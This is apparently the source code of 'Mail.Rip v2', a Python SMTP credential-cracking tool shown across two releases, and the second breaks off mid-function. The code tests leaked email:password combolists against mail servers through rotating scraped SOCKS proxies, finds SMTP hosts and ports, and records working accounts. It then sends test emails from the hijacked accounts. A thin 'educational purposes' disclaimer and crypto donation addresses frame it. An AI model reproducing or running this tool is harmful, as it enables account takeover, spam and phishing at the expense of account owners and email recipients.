| target_email, target_host, target_port, target_user, target_pass = '', '', 0, '', '' 797 | proxy_host, proxy_port = 'none', 0 798 | next_combo = '' 799 | 800 | # set proxy if activated: 801 | if use_socks: 802 | proxy_host, proxy_port = str(getrandomproxy()).split(':') 803 | 804 | if type_socks.upper() == 'SOCKS4': 805 | socks.set_default_proxy(socks.PROXY_TYPE_SOCKS4, proxy_host, int(proxy_port)) 806 | else: 807 | socks.set_default_proxy(socks.PROXY_TYPE_SOCKS5, proxy_host, int(proxy_port)) 808 | 809 | socks.socket.setdefaulttimeout(default_timeout) 810 | socks.wrapmodule(smtplib) 811 | 812 | # else set default timeout: 813 | else:socket.setdefaulttimeout(default_timeout) 814 | 815 | # set next target: 816 | next_combo = str(target) 817 | 818 | # save to checked.txt: 819 | writer(next_combo, str('__checked__')) 820 | with locker: 821 | print(Fore.YELLOW + f'[{str(attacker_id)}]: Checking combo {next_combo}') 822 | 823 | # start checking: 824 | target_email = str(next_combo.split(':')[0]) 825 | target_pass = str(next_combo.split(':')[1]) 826 | target_user = str(target_email) 827 | 828 | # get target-host from hosterlist: 829 | target_domain = str(target_email.split('@')[1]).lower() 830 | try: target_host = str(smtpdomains[target_domain]) 831 | except Exception: 832 | 833 | # on errors, lookup host in MX records: 834 | lookup_host = str(mxlookup(attacker_id, target_domain)) 835 | 836 | # if lookup fails, end attack: 837 | if lookup_host == 'no_host_found': 838 | writer(str(next_combo), str('__invalid__')) 839 | return False 840 | 841 | # else set found target_host: 842 | else: target_host = str(lookup_host) 843 | 844 | # get targetport from hosterlist: 845 | try: target_port = int(smtpports[target_host]) 846 | except Exception: 847 | 848 | # on errors search for port: 849 | find_port = int(unknownport(str(attacker_id), target_host)) 850 | 851 | # if search for port fails, end attack: 852 | if find_port == 0: 853 | with locker: 854 | print(Fore.RED + f'[{str(attacker_id)}]: No target-port found for {next_combo}') 855 | writer(next_combo, str('__invalid__')) 856 | return False 857 | 858 | # else set target_port: 859 | else: target_port = int(find_port) 860 | 861 | # attack target: 862 | # step#1 - establish connection: 863 | try: 864 | with locker: 865 | print(Fore.WHITE + f'[{str(attacker_id)}]: Connecting to {target_host} for checking {next_combo}') 866 | # try SSL-connection for port 465: 867 | 868 | if int(target_port) == 465: attack = smtplib.SMTP_SSL(target_host, target_port, timeout=default_timeout, context=attackerssl) 869 | else: 870 | 871 | # try standard connection for other ports: 872 | attack = smtplib.SMTP(target_host, target_port, timeout=default_timeout) 873 | try: 874 | # try to establish TLS: 875 | attack.ehlo() 876 | attack.starttls(context=attackerssl) 877 | attack.ehlo() 878 | 879 | except Exception: 880 | pass 881 | 882 | except Exception: 883 | # cancel attack if connection fails: 884 | with locker: 885 | print(Fore.RED + f'[{str(attacker_id)}]: Connection to {target_host} failed') 886 | writer(next_combo, str('__invalid__')) 887 | return False 888 | 889 | # step#2.1 - try login with e-mail: 890 | try: 891 | with locker: 892 | print(Fore.WHITE + f'[{str(attacker_id)}]: Testing login for combo {next_combo}') 893 | attack.login(target_user, target_pass) 894 | 895 | # step#2.2 - on errors try login with user from e-mail: 896 | except Exception: 897 | try: 898 | # set target_user = e-mail pseudo: 899 | target_user = str(target_email.split('@')[0]) 900 | attack.login(target_user, target_pass) 901 | 902 | except Exception: 903 | try: attack.quit() 904 | except Exception: pass 905 | 906 | # end attack if login fails again: 907 | with locker: 908 | print(Fore.RED + f'[{str(attacker_id)}]: No hit for combo {next_combo}') 909 | writer(next_combo, str('__invalid__')) 910 | return False 911 | 912 | # step#3 - save results: 913 | try: attack.quit() # close the connection: 914 | except Exception: pass 915 | 916 | with locker: 917 | print(Fore.GREEN + '\n' + '#'*80 + '\n' + f'[{str(attacker_id)}]: HIT FOR {next_combo}\n' + '#'*80 + '\n') 918 | 919 | # save hit to txt-file named like the SMTP-host: 920 | writer( 921 | str(f'EMAIL: {str(target_email)}, ' 922 | + f'HOST: {str(target_host)}, ' 923 | + f'PORT: {str(target_port)}, ' 924 | + f'USER: {str(target_user)}, ' 925 | + f'PASS: {str(target_pass)}'), str(f'{str(target_host)}')) 926 | 927 | # save hit to txt-file "__valid__.txt": 928 | writer( 929 | str(f'EMAIL: {str(target_email)}, ' 930 | + f'HOST: {str(target_host)}, ' 931 | + f'PORT: {str(target_port)}, ' 932 | + f'USER: {str(target_user)}, ' 933 | + f'PASS: {str(target_pass)}'), str('__valid__')) 934 | 935 | hits += 1 936 | 937 | # step#4 - for hits, call deliverytest function: 938 | if attacker_mail == 'invalid@mail.sad': pass 939 | else: 940 | if test_deliver: 941 | result_delivery = deliverytest( 942 | str(target_host), 943 | int(target_port), 944 | str(target_user), 945 | str(target_pass), 946 | str(target_email), 947 | str(proxy_host), 948 | int(proxy_port)) 949 | # for sent emails, save hit to sentemail.txt: 950 | 951 | if result_delivery: 952 | with locker: 953 | print(Fore.GREEN + f'[{str(attacker_id)}]: E-mail sent with {target_email}') 954 | writer( 955 | str(f'MAIL: {str(target_email)}, ' 956 | + f'HOST: {str(target_host)}, ' 957 | + f'PORT: {str(target_port)}, ' 958 | + f'USER: {str(target_user)}, ' 959 | + f'PASS: {str(target_pass)}'), 960 | str('__emailtest__')) 961 | else: 962 | with locker: 963 | print(Fore.RED + f'[{str(attacker_id)}]: E-mail test failed for {target_email}') 964 | return True 965 | except Exception: 966 | with locker: 967 | print(Fore.RED + f'[{str(attacker_id)}]: An error occurred while checking {next_combo}') 968 | 969 | writer(next_combo, str('__invalid__')) 970 | 971 | return False 972 | 973 | 974 | def attack_threader(): 975 | ''' 976 | Function for attack threads. 977 | 978 | :return: None 979 | ''' 980 | global targetsleft 981 | global fails 982 | 983 | attacker_id = str(count_threads) 984 | 985 | while 1: 986 | try: 987 | next_target = str(attack_queue.get()) 988 | result = attacker(attacker_id, next_target) 989 | 990 | if not result: fails += 1 991 | else: pass 992 | 993 | targetsleft -= 1 994 | attack_queue.task_done() 995 | except Exception: 996 | break 997 | return None 998 | 999 | 1000 | def startattack(): 1001 | ''' 1002 | Starts attack threading, provides stats in window title. 1003 | 1004 | :return: None 1005 | ''' 1006 | 1007 | global count_threads 1008 | global targetsleft 1009 | global hits 1010 | global fails 1011 | 1012 | clean() 1013 | print(Fore.YELLOW + '\n\n### MAIL.RIP V2 ### | STARTING ATTACK:\n' + '-'*40 + '\n') 1014 | countdown(5) 1015 | 1016 | # set amount of targets: 1017 | targetsleft = int(len(combos)) 1018 | 1019 | # start threads: 1020 | for _ in range(default_threads): 1021 | count_threads += 1 1022 | attack_thread = threading.Thread(target=attack_threader) 1023 | attack_thread.daemon = True 1024 | attack_thread.start() 1025 | 1026 | # fill queue: 1027 | for target in combos: 1028 | attack_queue.put(target) 1029 | 1030 | # show stats in title: 1031 | while targetsleft > 0: 1032 | try: 1033 | sleep(0.5) 1034 | wintitle = f'TO CHECK: {str(targetsleft)} # HITS: {str(hits)} # EMAILS: {str(emailssent)} # FAILS: {str(fails)}' 1035 | sys.stdout.write('\33]0;' + str(wintitle) + '\a') 1036 | sys.stdout.flush() 1037 | except Exception: 1038 | pass 1039 | 1040 | print(Fore.YELLOW + '\n' + '#'*44 + '\n# FINISHING ATTACK! BE PATIENT, PLEASE ... #\n' + '#'*44 + '\n') 1041 | 1042 | attack_queue.join() 1043 | sleep(3.0) 1044 | clean() 1045 | 1046 | input(Fore.YELLOW + '\n\nINFO\n' + '-'*4 + '\n' 1047 | + f'Attack has been finished. Results: HITS = {str(hits)}, BAD = {str(fails)}.\n' 1048 | + 'Press [ENTER] to return to the main menu.') 1049 | 1050 | # reset stats: 1051 | targetsleft = int(0) 1052 | hits = int(0) 1053 | fails = int(0) 1054 | 1055 | return None 1056 | 1057 | 1058 | # [*** LOGOS && ETC ***] 1059 | # ###################### 1060 | legal_logo = ''' 1061 | ############################## 1062 | # I M P O R T A N T: # 1063 | # L E G A L N O T I C E S # 1064 | ############################## 1065 | 1066 | You are only allowed to use the following code for educational 1067 | purposes! Mail.Rip v2 shall not be used for any kind of illegal 1068 | activity nor law enforcement at any time. 1069 | 1070 | This restriction applies to all cases of usage, no matter whether 1071 | the code as a whole or only parts of it are being used. 1072 | 1073 | The authors & collaborators are not responsible for any damage 1074 | you do with this tool, it was created for educational purposes! 1075 | 1076 | ''' 1077 | 1078 | main_logo = ''' 1079 | 1080 | ################## DrPython3 @ GitHub.Com ################## 1081 | #################### Nexus @ GitHub.Com #################### 1082 | 1083 | ███▄ ▄███▓ ▄▄▄ ██▓ ██▓ ██▀███ ██▓ ██▓███ 1084 | ▓██▒▀█▀ ██▒▒████▄ ▓██▒▓██▒ ▓██ ▒ ██▒▓██▒▓██░ ██▒ 1085 | ▓██ ▓██░▒██ ▀█▄ ▒██▒▒██░ ▓██ ░▄█ ▒▒██▒▓██░ ██▓▒ 1086 | ▒██ ▒██ ░██▄▄▄▄██ ░██░▒██░ ▒██▀▀█▄ ░██░▒██▄█▓▒ ▒ 1087 | ▒██▒ ░██▒ ▓█ ▓██▒░██░░██████▒ ██▓ ░██▓ ▒██▒░██░▒██▒ ░ ░ 1088 | ░ ▒░ ░ ░ ▒▒ ▓▒█░░▓ ░ ▒░▓ ░ ▒▓▒ ░ ▒▓ ░▒▓░░▓ ▒▓▒░ ░ ░ 1089 | ░ ░ ░ ▒ ▒▒ ░ ▒ ░░ ░ ▒ ░ ░▒ ░▒ ░ ▒░ ▒ ░░▒ ░ 1090 | ░ ░ ░ ▒ ▒ ░ ░ ░ ░ ░░ ░ ▒ ░░░ 1091 | ░ ░ ░ ░ ░ ░ ░ ░ ░ 1092 | ░ 1093 | (donations): btc = 1CU8WukMCDmeBfqJpsR4Vq9kxvNiRdYhf5 1094 | ltc = LeJsHzcMixhvR1qEfgHJU32joVAJDgQwR7 1095 | xmr = 4AkFxzDMmVMUFheuaohXrkGDUDPRCuKcJF7ajnXzSeipFHuPWbPiZTZTs5VDQux7fcgK5WV2vZwPY8qEqyV14nBUPwSxQkN 1096 | ____________________________________________________________ 1097 | 1098 | -+==> [ MAIN MENU ] <==+- 1099 | 1100 | [0] EXIT MAIL.RIP V2 [3] DE-/ACTIVATE PROXY-SUPPORT 1101 | [1] SET DEFAULT VALUES [4] START ATTACK 1102 | [2] LOAD COMBOS 1103 | 1104 | [MAILRIP]########################################[v2.1337|RX] 1105 | 1106 | ''' 1107 | 1108 | # often used phrases: 1109 | p1 = '\nPress [ENTER] to return to main menu.' 1110 | 1111 | # [*** MAIN ***] 1112 | # ############## 1113 | def mainmenu(): 1114 | ''' 1115 | The main menu. 1116 | 1117 | :return: None 1118 | ''' 1119 | 1120 | # clean screen, print logo: 1121 | clean() 1122 | print(Fore.RED + main_logo) 1123 | 1124 | try: option = input('Choose an option, please: ' + Fore.YELLOW) 1125 | except KeyboardInterrupt: 1126 | clean() 1127 | sys.exit(Fore.YELLOW + '\n\nClosing Mail.Rip v2 ...\nSee you again!') 1128 | 1129 | # option 0 / exit: 1130 | if option == '0': 1131 | clean() 1132 | sys.exit(Fore.YELLOW + '\n\nClosing Mail.Rip v2 ...\nSee you again!') 1133 | 1134 | # option 1 / set defaults: 1135 | elif option == '1': 1136 | status_msg = setdefaults() 1137 | if status_msg: 1138 | input(Fore.GREEN + '\n\nSUCCESS\n' + '-'*7 + '\nDefault values changed.' + f'{p1}') 1139 | else: 1140 | input(Fore.RED + '\n\nERROR\n' + '-'*5 + '\nDefault values not changed.' + f'{p1}') 1141 | 1142 | # option 2 / load combos: 1143 | elif option == '2': 1144 | status_msg = comboloader() 1145 | if status_msg: 1146 | input(Fore.GREEN + '\n\nSUCCESS\n' + '-'*7 1147 | + f'\nCombos successfully loaded. Amount: {str(len(combos))}' + f'{p1}') 1148 | else: 1149 | input(Fore.RED + '\n\nERROR\n' + '-'*5 + '\nLoading combos failed.' + f'{p1}') 1150 | 1151 | # option 3 / proxy-support: 1152 | elif option == '3': 1153 | status_msg = proxysupport() 1154 | if status_msg: 1155 | input(Fore.GREEN + '\n\nSUCCESS\n' + '-'*7 1156 | + f'\nProxy-support has been activated using {str(type_socks)} proxys.' + f'{p1}') 1157 | else: 1158 | input(Fore.RED + '\n\nWARNING\n' + '-'*7 + '\nProxy-support is still deactivated.' + f'{p1}') 1159 | 1160 | # option 4 / start attack: 1161 | elif option == '4': 1162 | startattack() 1163 | 1164 | # any other input / restart: 1165 | else: 1166 | clean() 1167 | input(Fore.YELLOW + 'INFO\n' + '-'*4 + '\nNo option entered.' + f'{p1}') 1168 | 1169 | return None 1170 | 1171 | # clean screen, print legal notices: 1172 | clean() 1173 | print(Fore.RED + legal_logo) 1174 | legal_confirm = input('CONFIRM WITH [ENTER] OR TYPE "NO": ' + Fore.YELLOW).lower() 1175 | 1176 | # exit if not confirmed: 1177 | if legal_confirm.startswith('n'): 1178 | clean() 1179 | sys.exit(Fore.RED 1180 | + '\nLegal Notices not confirmed.\nMail.Rip V2 cannot be used without confirming the ' 1181 | + '<< Legal Notices >>.\n\n') 1182 | else: pass 1183 | 1184 | # start main menu: 1185 | while 1: 1186 | mainmenu() 1187 | 1188 | # DrPython3 (C) 2021 @ GitHub.com 1189 | -------------------------------------------------------------------------------- /various/MailRipV2 (Release 9).py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python3 2 | # -*- coding: utf-8 -*- 3 | 4 | ''' ### LEGAL NOTICES ### 5 | 6 | You are allowed to use the following code for educational purposes 7 | ONLY! Mail.Rip v2 shall not be used for any kind of illegal activity 8 | nor law enforcement at any time. This restriction applies to all 9 | cases of usage, no matter whether the code as a whole or only parts 10 | of it are being used. 11 | 12 | ### END OF LEGAL NOTICES ### 13 | 14 | +-------------------------------------------------------------------+ 15 | | PROJECT: Mail.Rip v2 | 16 | | DESCRIPTION: SMTP checker / SMTP cracker for mailpass combolists | 17 | | RELEASE: 9 (2021-03-27) | 18 | | AUTHOR: DrPython3 @ GitHub.com | 19 | +===================================================================+ 20 | | Based on Mail.Rip v1, this is the new and improved version. | 21 | | It is still a SMTP checker / SMTP cracker testing your mailpass | 22 | | combolists for working SMTP accounts. Nevertheless, the code has | 23 | | been cleaned, improved and commented. | 24 | | Mail.Rip v2 is faster and more reliable, still providing support | 25 | | for SOCKS4 / SOCKS5 proxys and verifying working e-mail delivery | 26 | | for every valid SMTP login being found. And more! | 27 | +-------------------------------------------------------------------+ 28 | | | 29 | | SUPPORT THIS PROJECT: BUY ME A COFFEE OR DONATE! | 30 | | | 31 | | BTC: 1CU8WukMCDmeBfqJpsR4Vq9kxvNiRdYhf5 | 32 | | LTC: LeJsHzcMixhvR1qEfgHJU32joVAJDgQwR7 | 33 | | | 34 | | All donations are appreciated - coffee even more. | 35 | | | 36 | +-------------------------------------------------------------------+ 37 | ''' 38 | 39 | # [*** Python Packages needed ***] 40 | # ################################ 41 | # first import sys: 42 | import sys 43 | # try to import the rest, then: 44 | try: 45 | import os 46 | import smtplib 47 | import socket 48 | import ssl 49 | import threading 50 | import json 51 | import re 52 | import uuid 53 | import socks 54 | import urllib3 55 | import certifi 56 | import dns.resolver 57 | import colorama 58 | from time import sleep 59 | from string import Template 60 | from email.message import EmailMessage 61 | from random import randint 62 | from queue import Queue 63 | except: 64 | sys.exit('Sorry, an error occurred while importing the needed Python packages.' 65 | + '\nCheck dependencies and start Mail.Rip v2 again.\n\n') 66 | 67 | # initialize colorama: 68 | colorama.init(autoreset=True) 69 | 70 | 71 | # [*** Variables, Lists and Dictionaries needed ***] 72 | # ################################################## 73 | locker = threading.Lock() 74 | attack_queue = Queue() 75 | 76 | default_timeout = float(3.0) 77 | default_threads = int(9) 78 | default_blacklist = True 79 | attacker_mail = 'invalid@mail.sad' 80 | 81 | use_socks = False 82 | type_socks = 'SOCKS4' 83 | amount_socks = int(0) 84 | socksproxys = [] 85 | 86 | count_threads = int(0) 87 | combos = [] 88 | targetsleft = int(0) 89 | hits = int(0) 90 | emailssent = int(0) 91 | fails = int(0) 92 | 93 | # get lists and dictionaries from library.json: 94 | try: 95 | with open('library.json') as included_imports: 96 | jsonobj = json.load(included_imports) 97 | smtpdomains = (jsonobj['smtpdomains']) 98 | smtpports = (jsonobj['smtpports']) 99 | commonports = (jsonobj['commonports']) 100 | hosterblacklist = (jsonobj['hosterblacklist']) 101 | socks4sources = (jsonobj['socks4sources']) 102 | socks5sources = (jsonobj['socks5sources']) 103 | except: 104 | sys.exit(colorama.Fore.RED + '\n\nFile "library.json" not found.\n' 105 | + 'Script and file have to be stored in the same directory!\n\n') 106 | 107 | 108 | # [*** Functions needed ***] 109 | # ########################## 110 | def clean(): 111 | ''' 112 | Returns a blank screen on purpose. 113 | 114 | :return: None 115 | ''' 116 | if os.name == 'nt': 117 | os.system('cls') 118 | else: 119 | os.system('clear') 120 | return None 121 | 122 | 123 | def countdown(x): 124 | ''' 125 | Provides a simple countdown from "x". 126 | 127 | :param int x: start of the countdown 128 | :return: None 129 | ''' 130 | i = int(x) 131 | while i > 0: 132 | if i < 3: 133 | print(colorama.Fore.RED + f'... {str(i)}') 134 | elif i < 4: 135 | print(colorama.Fore.YELLOW + f'... {str(i)}') 136 | else: 137 | print(colorama.Fore.GREEN + f'... {str(i)}') 138 | sleep(0.95) 139 | i -= 1 140 | return None 141 | 142 | 143 | def writer(text, type): 144 | ''' 145 | Writes any content to a specific TXT-file. 146 | The filename is given by parameter "type". 147 | Used to save hits, fails etc. 148 | 149 | :param str text: content to save to a file 150 | :param str type: determins the filename 151 | :return: True, False 152 | ''' 153 | # create directory if it does not exist: 154 | try: 155 | os.makedirs('results') 156 | except: 157 | pass 158 | try: 159 | # get filename and define its path: 160 | file_name = str(f'{str(type)}.txt') 161 | targetfile = os.path.join('results', file_name) 162 | # edit file: 163 | with open(str(targetfile), 'a+') as output_file: 164 | output_file.write(str(text) + '\n') 165 | return True 166 | except: 167 | return False 168 | 169 | 170 | def emailverify(email): 171 | ''' 172 | Verifies whether the given string is an e-mail address. 173 | Used by comboloader and setdefaults function. 174 | 175 | :param str email: e-mail address to check. 176 | :return: True, False 177 | ''' 178 | # string for verification: 179 | email_regex = '^([\w\.\-]+)@([\w\-]+)((\.(\w){2,63}){1,3})$' 180 | # verification: 181 | if re.search(email_regex, str(email)): 182 | return True 183 | else: 184 | return False 185 | 186 | 187 | def setdefaults(): 188 | ''' 189 | This function allows the user to change the default values used by Mail.Rip v2. 190 | Returns True if at least one value has been changed. Else it returns False. 191 | 192 | :return: True, False 193 | ''' 194 | global default_threads 195 | global default_timeout 196 | global default_blacklist 197 | global attacker_mail 198 | defaults_changed = int(0) 199 | clean() 200 | print(colorama.Fore.YELLOW + '\n\n### MAIL.RIP V2 ### | EDIT DEFAULT VALUES:\n' + '-'*44 + '\n') 201 | # set amount of threads for attack: 202 | try: 203 | default_threads = int(input('\nEnter amount of threads to use:\n' + colorama.Fore.YELLOW)) 204 | print(colorama.Fore.GREEN + f'\nThreads set to {str(default_threads)}\n') 205 | defaults_changed += 1 206 | except: 207 | default_threads = int(9) 208 | print(colorama.Fore.RED + f'\nNo change, Mail.Rip v2 will use {str(default_threads)} threads\n') 209 | # set default timeout for connections: 210 | try: 211 | default_timeout = float(input('\nEnter value for timeout:\n' + colorama.Fore.YELLOW)) 212 | print(colorama.Fore.GREEN + f'\nTimeout set to {str(default_timeout)}\n') 213 | defaults_changed += 1 214 | except: 215 | default_timeout = float(3.0) 216 | print(colorama.Fore.RED + f'\nNo change, timeout remains {str(default_timeout)}\n') 217 | # de-/activate blacklist check for e-mail domains: 218 | try: 219 | blacklist = str(input('\nUse blacklist for e-mail domains:\n(yes / no) ' + colorama.Fore.YELLOW)) 220 | if blacklist == 'n' or blacklist == 'no': 221 | default_blacklist = False 222 | print(colorama.Fore.RED + '\nBlacklist for e-mail domains deactivated.\n') 223 | defaults_changed +=1 224 | else: 225 | default_blacklist = True 226 | print(colorama.Fore.GREEN + '\nBlacklist for e-mail domains remains activated.\n') 227 | except: 228 | pass 229 | # set user e-mail address for delivery test: 230 | try: 231 | new_mail = str(input('\nEnter YOUR e-mail for delivery test:\n' + colorama.Fore.YELLOW)) 232 | verified = emailverify(str(new_mail)) 233 | if verified == True: 234 | attacker_mail = str(new_mail) 235 | print(colorama.Fore.GREEN + f'\nE-mail for delivery test set to: {str(attacker_mail)}\n') 236 | defaults_changed += 1 237 | else: 238 | attacker_mail = str('invalid@mail.sad') 239 | print(colorama.Fore.RED + '\nNo valid e-mail set for delivery test.\n') 240 | except: 241 | attacker_mail = str('invalid@mail.sad') 242 | print(colorama.Fore.RED + '\nNo valid e-mail set for delivery test.\n') 243 | if defaults_changed > 0: 244 | return True 245 | else: 246 | return False 247 | 248 | 249 | def proxysupport(): 250 | ''' 251 | This function provides the proxy-support. If called, it allows to enable the proxy-feature. 252 | If proxys are activated, it asks for the proxy-type to use and scrapes free proxys using 253 | the sources from "library.json". Afterwards, it cleans the scraping data and loads the 254 | results into the global proxylist. Returns True, if proxy-support ist active and some proxys 255 | could be loaded. Else it returns False. 256 | 257 | :return: True, False 258 | ''' 259 | global use_socks 260 | global type_socks 261 | global amount_socks 262 | global socksproxys 263 | # string for verification / cleaning up scraped proxys: 264 | ip_regex = '(?:[0-9]{1,3}\.){3}[0-9]{1,3}(:[0-9]{1,5})' 265 | clean() 266 | # ask user whether to activate proxy-support: 267 | print(colorama.Fore.YELLOW + '\n\n### MAIL.RIP V2 ### | DE-/ACTIVATE AND SCRAPE PROXYS:\n' + '-'*55 + '\n\n') 268 | new_use = str(input('Activate proxy-support?\n(yes / no) ' + colorama.Fore.YELLOW)) 269 | if new_use == 'y' or new_use == 'yes': 270 | use_socks = True 271 | else: 272 | pass 273 | # if activated, ask for proxy-type to use: 274 | if use_socks == True: 275 | new_type = str(input(colorama.Fore.WHITE 276 | + '\n\nType of proxys to use?\n(SOCKS4 / SOCKS5) ' + colorama.Fore.YELLOW)) 277 | if new_type == '5' or new_type == 'SOCKS5' or new_type == 'socks5': 278 | type_socks = str('SOCKS5') 279 | print(colorama.Fore.GREEN + '\n\nProxy-support << ACTIVATED >> using SOCKS5 proxys.') 280 | else: 281 | print(colorama.Fore.GREEN + '\n\nProxy-support << ACTIVATED >> using SOCKS4 proxys.') 282 | # if deactivated, end function: 283 | else: 284 | return False 285 | # else get proxy sources depending on the proxy-type to use: 286 | if type_socks == 'SOCKS4': 287 | sources = socks4sources 288 | elif type_socks == 'SOCKS5': 289 | sources = socks5sources 290 | # start scraping: 291 | print(colorama.Fore.YELLOW + f'\n\nScraping {str(type_socks)}-proxys (...)') 292 | socket.setdefaulttimeout(float(default_timeout)) 293 | for source in sources: 294 | try: 295 | http = urllib3.PoolManager(ca_certs=certifi.where()) 296 | scraped = http.request('GET', str(source)) 297 | # scraped data is saved to temporary txt-file "scraped_proxys.txt": 298 | with open('scraped.txt', 'a') as output_file: 299 | output_file.write(str(scraped.data.decode('utf-8'))) 300 | print(colorama.Fore.GREEN + f'Scraped: {str(source)}') 301 | except: 302 | print(colorama.Fore.RED + f'Scraping failed for: {str(source)}') 303 | continue 304 | # after scraping is finished, remove unwanted stuff from scraped data: 305 | print(colorama.Fore.YELLOW + '\n\nRemoving unwanted text from results ...') 306 | try: 307 | with open('scraped.txt', 'r+') as scraped_data: 308 | valid_proxy = scraped_data.readlines() 309 | scraped_data.seek(0) 310 | for line in valid_proxy: 311 | # check for valid proxy ip using regex and write valid lines: 312 | if re.search(ip_regex, line): 313 | scraped_data.write(line) 314 | scraped_data.truncate() 315 | print(colorama.Fore.GREEN + 'Unwanted text removed successfully.') 316 | except: 317 | print(colorama.Fore.RED + 'Removing unwanted text failed.') 318 | # then remove duplicates ... 319 | print(colorama.Fore.YELLOW + '\n\nRemoving duplicates from results ...') 320 | try: 321 | unique_proxys = set() 322 | with open('proxys.txt', 'w') as cleaned: 323 | for line in open('scraped.txt', 'r'): 324 | if line not in unique_proxys: 325 | cleaned.write(line) 326 | unique_proxys.add(line) 327 | print(colorama.Fore.GREEN + 'Duplicates successfully removed.') 328 | except: 329 | print(colorama.Fore.RED + 'Removing duplicates failed.') 330 | # load proxys into global list: 331 | print(colorama.Fore.YELLOW + '\n\nLoading proxys into global list ...') 332 | try: 333 | socksproxys = open('proxys.txt', 'r').read().splitlines() 334 | amount_socks = int(len(socksproxys)) 335 | print(colorama.Fore.GREEN + 'Proxys loaded into global list.') 336 | # delete files not needed anymore: 337 | if os.name == 'nt': 338 | os.system('del proxys.txt') 339 | os.system('del scraped.txt') 340 | else: 341 | os.system('rm proxys.txt') 342 | os.system('rm scraped.txt') 343 | return True 344 | except: 345 | print(colorama.Fore.RED + 'Loading proxys for your attack failed.\nDeactivating proxy-support (...)') 346 | use_socks = False 347 | return False 348 | 349 | 350 | def getrandomproxy(): 351 | ''' 352 | Provides a random proxy from global list "socksproxys" on every call. 353 | 354 | :return: proxy-ip 355 | ''' 356 | x = randint(0, int(amount_socks)) 357 | proxy = str(socksproxys[int(x)]) 358 | return proxy 359 | 360 | 361 | def blacklistcheck(domain): 362 | ''' 363 | Checks whether the domain of an e-mail address is on the blacklist or not. 364 | 365 | :param str domain: domain of the e-mail address being checked 366 | :return: True, False 367 | ''' 368 | try: 369 | x = int(hosterblacklist.count(str(domain))) 370 | if x == 0: 371 | return False 372 | else: 373 | return True 374 | except: 375 | print(colorama.Fore.RED + f'Blacklist check failed for: {str(domain)} ...') 376 | return False 377 | 378 | 379 | def mxlookup(worker_name, domain): 380 | ''' 381 | Looks up MX records of a given e-mail domain for a SMTP host, verifying it using 382 | regular expressions. Returns a verified SMTP host or "no_host_found" if it fails. 383 | 384 | :param str worker_name: to improve verbose messages 385 | :param str domain: domain of target e-mail address 386 | :return: found_host 387 | ''' 388 | socket.setdefaulttimeout(float(default_timeout)) 389 | # set string for verifying hosts from MX records: 390 | domain_regex = '^([a-z0-9]+(-[a-z0-9]+)*\.)+[a-z]{2,}$' 391 | # variable for returning result: 392 | found_host = str('no_host_found') 393 | # set up resolver: 394 | lookup = dns.resolver.Resolver(configure=False) 395 | # using Google nameserver - edit on purpose: 396 | lookup.nameservers = ['8.8.8.8'] 397 | # start lookup MX: 398 | try: 399 | with locker: 400 | print(colorama.Fore.WHITE 401 | + f'[{str(worker_name)}]: Looking up SMTP-host in MX records of {str(domain)}') 402 | raw_result = lookup.resolve(str(domain), 'MX') 403 | # get first result from lookup and verify it: 404 | mx_host = str(raw_result[0]).split(' ')[1].rstrip('.') 405 | if re.search(domain_regex, mx_host): 406 | # if domain is verified, set found_host: 407 | found_host = str(mx_host) 408 | # else try again for second result: 409 | else: 410 | mx_host = str(raw_result[1]).split(' ')[1].rstrip('.') 411 | if re.search(domain_regex, mx_host): 412 | found_host = str(mx_host) 413 | else: 414 | with locker: 415 | print(colorama.Fore.RED 416 | + f'[{str(worker_name)}]: No SMTP-host found in MX records of {str(domain)}') 417 | return found_host 418 | # return a verified host, else "no_host_found": 419 | with locker: 420 | print(colorama.Fore.GREEN 421 | + f'[{str(worker_name)}]: Found SMTP-host {str(found_host)} in MX records of ' 422 | + f'{str(domain)}') 423 | return found_host 424 | except: 425 | with locker: 426 | print(colorama.Fore.RED 427 | + f'[{str(worker_name)}]: No SMTP-host found in MX records of {str(domain)}') 428 | return found_host 429 | 430 | 431 | def unknownport(worker_name, smtphost): 432 | ''' 433 | Searches for the connection port of a given host if none is found in hostlist. 434 | Returns a found port of "0" if none is found. 435 | 436 | :param str worker_name: to improve verbose messages 437 | :param str smtphost: the host to search the connection port for 438 | :return: found_port 439 | ''' 440 | found_port = int(0) 441 | unkportssl = ssl.create_default_context() 442 | for port in commonports: 443 | # get next port to test: 444 | test_port = int(port) 445 | try: 446 | # for active proxy-support, set up a random proxy: 447 | if use_socks == True: 448 | get_proxy = str(getrandomproxy()) 449 | proxy_ip = str(get_proxy.split(':')[0]) 450 | proxy_port = int(get_proxy.split(':')[1]) 451 | if type_socks == 'SOCKS4': 452 | socks.set_default_proxy(socks.PROXY_TYPE_SOCKS4, proxy_ip, proxy_port) 453 | else: 454 | socks.set_default_proxy(socks.PROXY_TYPE_SOCKS5, proxy_ip, proxy_port) 455 | socks.socket.setdefaulttimeout(float(default_timeout)) 456 | socks.wrapmodule(smtplib) 457 | # else, just set default timeout for connections: 458 | else: 459 | socket.setdefaulttimeout(float(default_timeout)) 460 | with locker: 461 | print(colorama.Fore.WHITE 462 | + f'[{str(worker_name)}]: Trying connection to {str(smtphost)}:{str(test_port)}') 463 | # try connection: 464 | try: 465 | # try SSL-connection for port 465: 466 | if int(test_port) == 465: 467 | connection = smtplib.SMTP_SSL(smtphost, test_port, timeout=default_timeout, context=unkportssl) 468 | else: 469 | # try standard connection for all the other common ports: 470 | connection = smtplib.SMTP(smtphost, test_port, timeout=default_timeout) 471 | connection.quit() 472 | except: 473 | continue 474 | with locker: 475 | print(colorama.Fore.GREEN 476 | + f'[{str(worker_name)}]: successfully connected to {str(smtphost)}:{str(test_port)}') 477 | found_port = int(test_port) 478 | break 479 | except: 480 | continue 481 | return found_port 482 | 483 | 484 | def emailtemplate(): 485 | ''' 486 | Reads an user-defined e-mail template from email_template.txt and returns it 487 | to deliverytest-function. 488 | 489 | :return: Template, True/False 490 | ''' 491 | template_number = int(0) 492 | template_input = str('') 493 | # get random number between 1 and 5: 494 | template_number = randint(1, 5) 495 | # choose template regarding the random number: 496 | if template_number == 1: 497 | template_input = 'email_template1.txt' 498 | elif template_number == 2: 499 | template_input = 'email_template2.txt' 500 | elif template_number == 3: 501 | template_input = 'email_template3.txt' 502 | elif template_number == 4: 503 | template_input = 'email_template4.txt' 504 | else: 505 | template_input = 'email_template5.txt' 506 | try: 507 | with open(template_input, 'r', encoding='utf-8') as email_template: 508 | email_content = email_template.read() 509 | return Template(email_content), True 510 | except: 511 | return Template('ERROR LOADING TEMPLATE'), False 512 | 513 | 514 | def deliverytest(smtphost, smtpport, smtpuser, 